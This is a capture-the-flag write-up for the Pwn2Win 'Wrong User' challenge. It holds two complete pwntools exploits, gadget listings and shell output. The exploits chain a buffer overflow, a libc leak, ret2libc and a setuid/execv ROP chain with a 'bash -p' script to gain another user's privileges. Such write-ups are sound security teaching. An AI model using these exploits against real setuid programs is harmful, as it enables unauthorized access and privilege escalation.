[Pwn] Pwn2Win - Wrong User


Wrong User

Molly invaded an important system of Bloodsuckers and obtained sensitive information. She believes that you are also capable of invading such system and therefore she left a secret message to you. Can you get such message? Maybe you get troubles to get access with the correct user.

Server: nc 10.133.70.1 6666

https://cloud.ufscar.br:8080/v1/AUTH_c93b694078064b4f81afd2266a502511/static.pwn2win.party/wronguser_1e8787242eb826005729b0ba17a925b0782be65190f18a1b8dc4e57756c4e3c4.tar.gz

https://static.pwn2win.party/wronguser_1e8787242eb826005729b0ba17a925b0782be65190f18a1b8dc4e57756c4e3c4.tar.gz

Id: wrong_user

Total solves: 8

Score: 373

Categories: Exploitation

Using radare2 to disassembly the binary:

We have fgets with a very large size 0x400, it reads from the STDIN so we can control what to put in the buffer it’s obvious to see that we have a buffer overflow if we check what kind of protections with checksec:

No stack canary protection, but NX is enabled (Non-Executable Stack) once again we have to use Return Oriented Programming (ROP), the challenge provided the libc.so so we can use to calculate the offsets.

The steps to solve are:

1
2
3
1 - Overflow the Buffer
2 - ROP chain to leak libc addresses and return to main
3 - Overflow the Buffer again and build a ROP chain to call system('/bin/sh')

Overflow the Buffer

Well this always the same first we can create a pattern with metasploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
$ gdb ./wrong

pwndbg> b *0x400781
Breakpoint 1 at 0x400781
pwndbg> r
Starting program: /home/user/ctf/wrong
Hello! What is your name?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Nice to meet you Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Breakpoint *0x400781
pwndbg> x $rsp
0x7fffffffdea8: 0x62413362

Now that we got the part of the string pattern that we got from the RSP register we can calculate its offset once again using metasploit:

1
2
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x62413362
[*] Exact match at offset 40

Finally the padding we require is 40…

ROP chain to leak libc addresses and return to main

We need to leak a libc address we can do this with puts or printf they are both present in the binary, because of this they will be also be in the GOT (Global Offset Table) as we can check their location addresses using objdump -R ./wrong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ objdump -R ./wrong

./wrong: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600b58 R_X86_64_GLOB_DAT __gmon_start__
0000000000600bd0 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000600bd8 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000600b78 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000600b80 R_X86_64_JUMP_SLOT getuid@GLIBC_2.2.5
0000000000600b88 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000600b90 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000600b98 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
0000000000600ba0 R_X86_64_JUMP_SLOT __gmon_start__
0000000000600ba8 R_X86_64_JUMP_SLOT fflush@GLIBC_2.2.5
0000000000600bb0 R_X86_64_JUMP_SLOT setuid@GLIBC_2.2.5

We want to get the address that’s stored in the GOT of puts with it we can calculate the offsets to another useful libc functions like system and the offset to the string /bin/sh, to call a function within ROP we need the PLT address we can get them using objdump -dj.plt ./wrong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ objdump -dj.plt ./wrong

./wrong: file format elf64-x86-64


Disassembly of section .plt:

0000000000400560 <.plt>
0000000000400570 <puts@plt>
0000000000400580 <getuid@plt>
0000000000400590 <printf@plt>
00000000004005a0 <__libc_start_main@plt>
00000000004005b0 <fgets@plt>
00000000004005c0 <__gmon_start__@plt>
00000000004005d0 <fflush@plt>
00000000004005e0 <setuid@plt>

Since this is a 64bit binary we need to store the function arguments in registers instead of putting them in the stack, we can do this using ROPGadgets, in x64 the first six parameters are saved in RDI, RSI, RDX, RCX, R8 and R9, if there are more parameters will be saved on the stack. Since puts only has 1 argument we just need a Gadget that pop an address from the stack into the RDI register, ROPGadget can help us finding such a gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ROPgadget --binary ./wrong --only "pop|ret"
Gadgets information
============================================================
0x00000000004007ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop r14 ; pop r15 ; ret
0x00000000004007f2 : pop r15 ; ret
0x00000000004007eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400650 : pop rbp ; ret
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret
0x00000000004007ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400559 : ret

The 0x00000000004007f3 : pop rdi ; ret gadget is the one we need, now we just need the address from main so after we run our gadget we can return back to main:

Now that we have everything we need we can start building our ropchain:

Overflow the Buffer again and build a ROP chain to call system(‘/bin/sh’)

Now we have everything we need to calculate other libc addresses we need help from libc.so.6 file they gave us pwntools can help us to get the offsets in a easier way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
BINSH_OFFSET = 0x18cd17 # strings -a -t x libc.so.6 | grep '/bin/sh'

binary = ELF('./wrong')
libc = ELF('./libc.so.6')

PADDING = 'A'*40
POPRET = 0x4007f3
PUTSPLT = binary.plt['puts'] #0x000000000040056c
PUTSGOT = binary.got['puts']
MAIN = 0x4006e6

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"

ropchain += p64(MAIN) # MAIN function "call"

print r.recvuntil('Hello! What is your name?\n')
#time.sleep(1)
r.sendline(PADDING+ropchain)
print r.recv(len('Nice to meet you ')+len(PADDING)+3)
#

PUTS = u64(r.recv(6).ljust(8, '\x00'))
print r.recvuntil('Hello! What is your name?\n')

LIBCBASE = PUTS -libc.symbols['puts']
BINSH = LIBCBASE + BINSH_OFFSET
SYSTEM = LIBCBASE + libc.symbols['system']
log.info("LEAKED PUTS LIBC 0x%x" % PUTS)
log.info("SYSTEM LIBC 0x%x" % SYSTEM)
log.info("LIBCBASE LIBC 0x%x" % LIBCBASE)
log.info("BINSH ADDRESS 0x%x" % BINSH)

Now that we have the addresses we need we can start again to build a new ropchain:

Now the full exploit could be written as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import time

def getConn():
return process('./wrong', env = {"LD_PRELOAD":'./libc.so.6'}) if local else remote('10.133.70.1', 6666)

local = True

r = getConn()
#gdb.attach(r, '''
# b *0x0040076c
# c''')
#
BINSH_OFFSET = 0x18cd17 # strings -a -t x libc.so.6 | grep '/bin/sh'

binary = ELF('./wrong')
libc = ELF('./libc.so.6')

PADDING = 'A'*40
POPRET = 0x4007f3
PUTSPLT = binary.plt['puts'] #0x000000000040056c
PUTSGOT = binary.got['puts']
MAIN = 0x4006e6

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"

ropchain += p64(MAIN) # MAIN function "call"

print r.recvuntil('Hello! What is your name?\n')
#time.sleep(1)
r.sendline(PADDING+ropchain)
print r.recv(len('Nice to meet you ')+len(PADDING)+3)
#

PUTS = u64(r.recv(6).ljust(8, '\x00'))
print r.recvuntil('Hello! What is your name?\n')

LIBCBASE = PUTS -libc.symbols['puts']
BINSH = LIBCBASE + BINSH_OFFSET
SYSTEM = LIBCBASE + libc.symbols['system']
log.info("LEAKED PUTS LIBC 0x%x" % PUTS)
log.info("SYSTEM LIBC 0x%x" % SYSTEM)
log.info("LIBCBASE LIBC 0x%x" % LIBCBASE)
log.info("BINSH ADDRESS 0x%x" % BINSH)



ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(BINSH) # BINSH ADDRESS ARG[1]
ropchain += p64(SYSTEM) # SYSTEM function "call"

ropchain += p64(MAIN) # MAIN function "call"


r.sendline(PADDING+ropchain)
r.interactive()

If you run it you will get a shell to the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
python wrong_part1.py 
[+] Opening connection to 10.133.70.1 on port 6666: Done
/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py:6: UserWarning: Module hashlib was already imported from /usr/lib/python2.7/hashlib.pyc, but /usr/local/lib/python2.7/dist-packages is being added to sys.path
import pkg_resources
/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py:6: UserWarning: Module six was already imported from /home/evilgod/.local/lib/python2.7/site-packages/six.pyc, but /usr/lib/python2.7/dist-packages is being added to sys.path
import pkg_resources
[*] '/home/evilgod/Documents/Hacking/ctf/pwn2win/exploitation/WrongUser/wrong'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/evilgod/Documents/Hacking/ctf/pwn2win/exploitation/WrongUser/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hello! What is your name?

Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@

Hello! What is your name?

[*] LEAKED PUTS LIBC 0x7fd320e62690
[*] SYSTEM LIBC 0x7fd320e38390
[*] LIBCBASE LIBC 0x7fd320df3000
[*] BINSH ADDRESS 0x7fd320f7fd17
[*] Switching to interactive mode
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@$id
uid=1001(wrong-user) gid=1001(wrong-user) groups=1001(wrong-user)

$ cd home
$ ls
case
molly
ubuntu
wrong-user
$ cd molly
$ ls
flag.txt
wrong
$ cat flag.txt
cat: flag.txt: Permission denied
$ ls -lta
total 13
drwxr-xr-x 6 root root 6 Oct 21 10:25 ..
drwxr-xr-x 2 root molly 7 Aug 31 22:37 .
-rw-r----- 1 molly molly 29 Aug 31 22:37 flag.txt
-rwsr-x--- 1 molly wrong-user 7704 Aug 31 22:27 wrong
-rw-r--r-- 1 root molly 220 Aug 31 22:24 .bash_logout
-rw-r--r-- 1 root molly 3771 Aug 31 22:24 .bashrc
-rw-r--r-- 1 root molly 655 Aug 31 22:24 .profile

So what’s wrong here? We don’t have access to the flag.txt, and happens we got access to the wrong user, there are some problems here, one of them is that in the beginning of the program we can see it’s being run setuid(getuid()) :

This will drop permissions from the as we can see when we did ls -lta the executable has the setuid enabled:

1
-rwsr-x--- 1 molly wrong-user 7704 Aug 31 22:27 wrong

Translating this a little bit:

1
2
3
4
5
6
7
8
9
10
11
12
13
OWNER:                                                         Group
-rws r-x
||||---> Execute and setuid bit (both enabled). |||
|||---> Write Permissions(enabled) || \--> Executable permissions (Enabled)
| \---> Read permissions(enabled) | \--> Write Permissions (Disabled)
\---> If it's a directory(disabled) \---> Read Permissions (Enabled)

World:
---
|||
|| \---> Executable permissions (Disabled)
| \---> Write Permissions (Disabled)
\---> Read Permissions (Disabled)

When the setuid is enabled the process will run with owner permissions, but there are some issues that are dropping privileges, the setuid(getuid()) is one of them this is simple to solve we just need to create a ropchain that calls setuid(molly_uid) first we need to find molly’s uid this is easy we can check /etc/passwd :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
wrong-user:x:1001:1001:,,,:/home/wrong-user:/bin/bash
molly:x:1337:1337:,,,:/home/molly:/bin/bash
case:x:1002:1002:,,,:/home/case:/bin/bash

Molly’s uid is 1337 writing a ropchain is trivial, we can do it like this:

1
2
3
4
5
SETUID = LIBCBASE + libc.symbols['setuid']

ropchain += p64(POPRET) # POP RDI RET
ropchain += p64(1337) # 1337 ARG[1]
ropchain += p64(SETUID) # SETUID function "call"

Now we ran into another problem, system will drop privileges we need to use an alternative exec is perfect for this, but we can’t just do execv(‘/bin/bash’,0x0) if we read the man documentation of /bin/bash :

The explanation from man pages is very clear, we need to provide -p as an argument to /bin/bash, we could do it with a ROPCHAIN but is harder to to find the right gadgets to put more than 1 arguments, since we have local access to the server we can just write a file into /tmp/exp and then execute it with execv(“/tmp/exp”,0x0):

1
2
#!/bin/bash -p
/bin/bash -p

I had some problems to use vim and nano (python interactive shell didn’t work very well with them), so I had to write to script in my machine and convert it into base64, then using echo I wrote the file and decoded it into /tmp/exp:

My machine

1
2
3
4
5
$ cat shell 
#!/bin/bash -p
/bin/bash -p
$ cat shell | base64
IyEvYmluL2Jhc2ggLXAKL2Jpbi9iYXNoIC1wCg==

Server’s machine

1
2
3
4
5
$ echo 'IyEvYmluL2Jhc2ggLXAKL2Jpbi9iYXNoIC1wCg==' | base64 -d
#!/bin/bash -p
/bin/bash -p
$ echo 'IyEvYmluL2Jhc2ggLXAKL2Jpbi9iYXNoIC1wCg==' | base64 -d > /tmp/exp
$ chmod +x /tmp/exp

Now we just need to build a ropchain that runs execv(‘/tmp/exp’, 0x0) we can’t use something like we use to system we need the address where /tmp/exp is stored, the trick here is to put this string on the stack and get it’s address from the register RSP, we need to find a gadget like this:

1
2
MOV RDI, RSP 
CALL RAX

First we need to store the address from execv into RAX, and we need to put the string /tmp/exp into the stack, so when we MOV RDI, RSP, we are going to move the address of the the string into RDI and then CALL RAX. These special gadget is not found in ./wrong binary we actually needed to search it in the libc binary itself! you can use RopGadgets to do it:

We can build an ropchain that does that like this:

1
2
3
4
5
6
7
MOVCALL_OFFSET = 0x12b845
POPRET_OFFSET = 0x33544

ropchain += p64(LIBCBASE + POPRET_OFFSET) # POP RAX; RET
ropchain += p64(EXECV) # "exec"
ropchain += p64(LIBCBASE + MOVCALL_OFFSET) # MOV RDI, RSP; CALL RAX
ropchain += "/tmp/exp\x00"

The full exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import time

def getConn():
return process('./wrong', env = {"LD_PRELOAD":'./libc.so.6'}) if local else remote('10.133.70.1', 6666)

local = False
r = getConn()


BINSH_OFFSET = 0x18cd17 # strings -a -t x libc.so.6 | grep '/bin/sh'

binary = ELF('./wrong')
libc = ELF('./libc.so.6')

PADDING = 'A'*40
POPRET = 0x4007f3
POPRET2 = 0x4007f1
POPRET3 = 0x00000000004007f1

PUTSPLT = binary.plt['puts'] #0x000000000040056c
PUTSGOT = binary.got['puts']
MAIN = 0x4006e6

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"

ropchain += p64(MAIN) # MAIN function "call"

print r.recvuntil('Hello! What is your name?\n')
r.sendline(PADDING+ropchain)
print r.recv(len('Nice to meet you ')+len(PADDING)+3)

PUTS = u64(r.recv(6).ljust(8, '\x00'))
print r.recvuntil('Hello! What is your name?\n')

LIBCBASE = PUTS-libc.symbols['puts']
BINSH = LIBCBASE + BINSH_OFFSET
EXECV = LIBCBASE + libc.symbols['execv']
SETUID = LIBCBASE + libc.symbols['setuid']
log.info("LEAKED PUTS LIBC 0x%x" % PUTS)
log.info("EXECV LIBC 0x%x" % EXECV)
log.info("LIBCBASE LIBC 0x%x" % LIBCBASE)
log.info("BINSH ADDRESS 0x%x" % BINSH)
log.info("SETUID ADDRESS 0x%x" % SETUID)

MOVCALL_OFFSET = 0x12b845
POPRET_OFFSET = 0x33544

ropchain = ''

ropchain += p64(POPRET) # POP RDI RET
ropchain += p64(1337) # 1337 ARG[1]
ropchain += p64(SETUID) # SETUID function "call"

ropchain += p64(LIBCBASE + POPRET_OFFSET) # POP RAX; RET
ropchain += p64(EXECV) # "exec"
ropchain += p64(LIBCBASE + MOVCALL_OFFSET) # MOV RDI RSP; CALL RAX
ropchain += "/tmp/exp\x00"

ropchain += p64(MAIN) # SYSTEM function "call"

r.sendline(PADDING+ropchain)

r.interactive()

Now if we run it we can see we got the euid from molly and because of that we can read the flag.txt :

1
2
3
4
5
6
$id
uid=1001(wrong-user) gid=1001(wrong-user) euid=1337(molly) groups=1001(wrong-user)
$ ls /home/molly/flag.txt
/home/molly/flag.txt
$ cat /home/molly/flag.txt
CTF-BR{!!two_steps_pwnage!!}

I want to thank the organizers of this CTF for letting me getting access to the VPN to finish this challenge.